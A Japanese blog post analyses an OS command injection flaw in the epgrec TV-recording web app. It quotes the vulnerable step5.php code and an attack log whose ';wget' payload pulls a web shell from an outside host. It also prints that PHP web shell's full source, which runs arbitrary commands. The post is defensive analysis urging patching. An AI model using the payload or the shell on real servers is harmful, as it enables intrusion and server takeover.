epgrecの脆弱性が巷で話題になっているようなので検証してみたい。
この辺を参照
epgrecとは、Linux環境でテレビ番組を録画するソフトウェア、もう少し
詳しく言うといわゆるWebアプリケーションである。
今回問題となったのはこのepgrecの脆弱性、問題となったコードは下記
epgrec/install/step5.php
if( isset( $_GET['script'] ) )
$epg_rec = $_GET['script'];
else
exit();
if( isset( $_GET['time'] ) )
$rec_time = $_GET['time'];
else
exit();
echo 'EPGの初回受信を行います。'.$rec_time.'分程度後にepgrecのトップページを開いてください。';
@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
exit();
このスクリプトに「OSコマンドインジェクション」の脆弱性がある。
@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
この部分、外部から「script」というパラメータで受け取った値を
何のチェックもせずに @exec() メソッドの引数の一部として渡してしまっている。
この場合、$epg_rec 変数の中に「;任意のコマンド」と、セミコロンをつけることで
OSコマンドインジェクション攻撃が成立してしまう。
今回の攻撃リクエストは下記
87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] "GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/（ユーザー名）/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol HTTP/1.1" 200 148
"-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
これはつまり、WebブラウザのURL欄に下記のように指定してページを読み込んだことと等しい。
http://被害者のサーバ/epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/（ユーザー名）/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol
これのURLエンコードされている部分(wgetのあたり)をデコードすると
;wget -4 -O /home/(ユーザ名)/public_html/epgrec/thumbs/tv.php http://gesopls.de/script/epgrec_shell.txt
となる。wgetコマンドはファイルをダウンロードするLinuxコマンド。
wgetの-4オプションは、IPv4のみに接続するオプションで、-Oオプションは保存先のディレクトリや
保存ファイル名を指定するオプション。
今回はepgrecインストール先のthumbs/ ディレクトリの下に tv.php というファイル名で
epgrec_shell.txt をダウンロードさせた事になる。
クラッカーが任意のファイルをPHPが動作するディレクトリにアップロードできたというわけ。
そんでもって、どんなファイルをアップロードされたのかと言うと、アップロードされたファイルの中身がこちら
epgrec_shell.txt
<?php
header('Content-Type: text/html; charset=utf8');
?>
<html>
<head>
<script language="JavaScript">
function hex(d) {
return d.toString(16);
}
function Encrypt(theText) {
output = new String;
Tmp = new String;
Temp = new Array();
TextSize = theText.length;
for (i = 0; i < TextSize; i++) {
Temp[i] = theText.charCodeAt(i);
}
for (i = 0; i < TextSize; i++) {
Tmp = hex(Temp[i]);
if (Tmp.length == 1) {
Tmp = "0" + Tmp;
}
output += Tmp;
}
document.cmdform.cmd.value=encodeURIComponent(theText);
document.cmdform.submit();
}
</script>
</head>
<body>
<center>
<form name="encform" onsubmit="return false;">
<textarea name="dcmd" rows="5" cols="50">
</textarea>
<br/>
<input value="Execute" onclick="Encrypt(this.form.dcmd.value);" type="button">
<br/>
</form>
</center>
<form name="cmdform" method="GET" action="">
<input name="cmd" type="hidden" value="">
</form><br/>
<?php
function hex2str($hex) {
for($i=0;$i<strlen($hex);$i+=2) {
$str.=chr(hexdec(substr($hex,$i,2)));
}
return $str;
}
if ($_GET['cmd']) {
if($_GET['sjis']==1)
$cmd = trim(mb_convert_encoding(urldecode($_GET['cmd']),"SJIS","UTF-8"));
else
$cmd = trim(urldecode($_GET['cmd']));
?>
Command : <?php echo $cmd ?>
<br/>
<p>
<pre>
<?php
$cmd = "(".$cmd;$cmd .= ") 2>&1";
if (!$_GET['type']) {
system($cmd);
} elseif ($_GET['type']==1) {
passthru($cmd);
} elseif ($_GET['type']==2) {
echo (exec($cmd));
} elseif ($_GET['type']==3) {
$output = shell_exec($cmd);
echo $output;
}
?>
</pre>
</p>
<?php } ?>
このスクリプトの詳細についてはまた後日検討するとして、結局何かと言うと
これはバックドアだ。
テキストエリア欄に任意のコマンドを入力すると、実際にサーバ上でそのコマンドが
実行されてしまう。コマンドの実行権限はApache2を動かしているユーザの権限になる。
大抵の人が「www-data」になると思われる。
下記は私が実際にこのスクリプトを検証してみた結果の画面。Webブラウザを通して
任意のコマンドが実行可能になっている。
このようにして、クラッカーは好き勝手に番組を録画し、好き勝手に自分のサーバへ
FTPやscp等を使ってアニメの.tsファイルをアップロードしていたものと思われる。
そして、このバックドアはJavaScriptによって暗号化したり復号化したりしながら
処理をしているように見えるが、これは何のためにこんなややこしいことをしているのか
現段階ではちょっとわからない。
Apache2のログを難読化するためにやっているのかと想像したのだが、実際にこの状態でログを確認してみると下記のようになる。
192.168.11.30 - - [21/Jan/2014:23:50:52 +0900] "GET /epgrec/thumbs/tv.php?cmd=uname%2520-a HTTP/1.1" 200 843 "http://mint-rec.local/epgrec/thumbs/tv.php" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36"
これではどんな任意のコマンドを実行したのか丸見えなので難読化(？)している意味がない。
一先ず今日はこの辺まで・・・。
海外のクラッカーにクラッキングされないように、きちんと脆弱性を修正したパッチを当てましょう。
このepgrec、意外と脆弱性が他にもまだまだあったりしそうな気がしますね・・・。
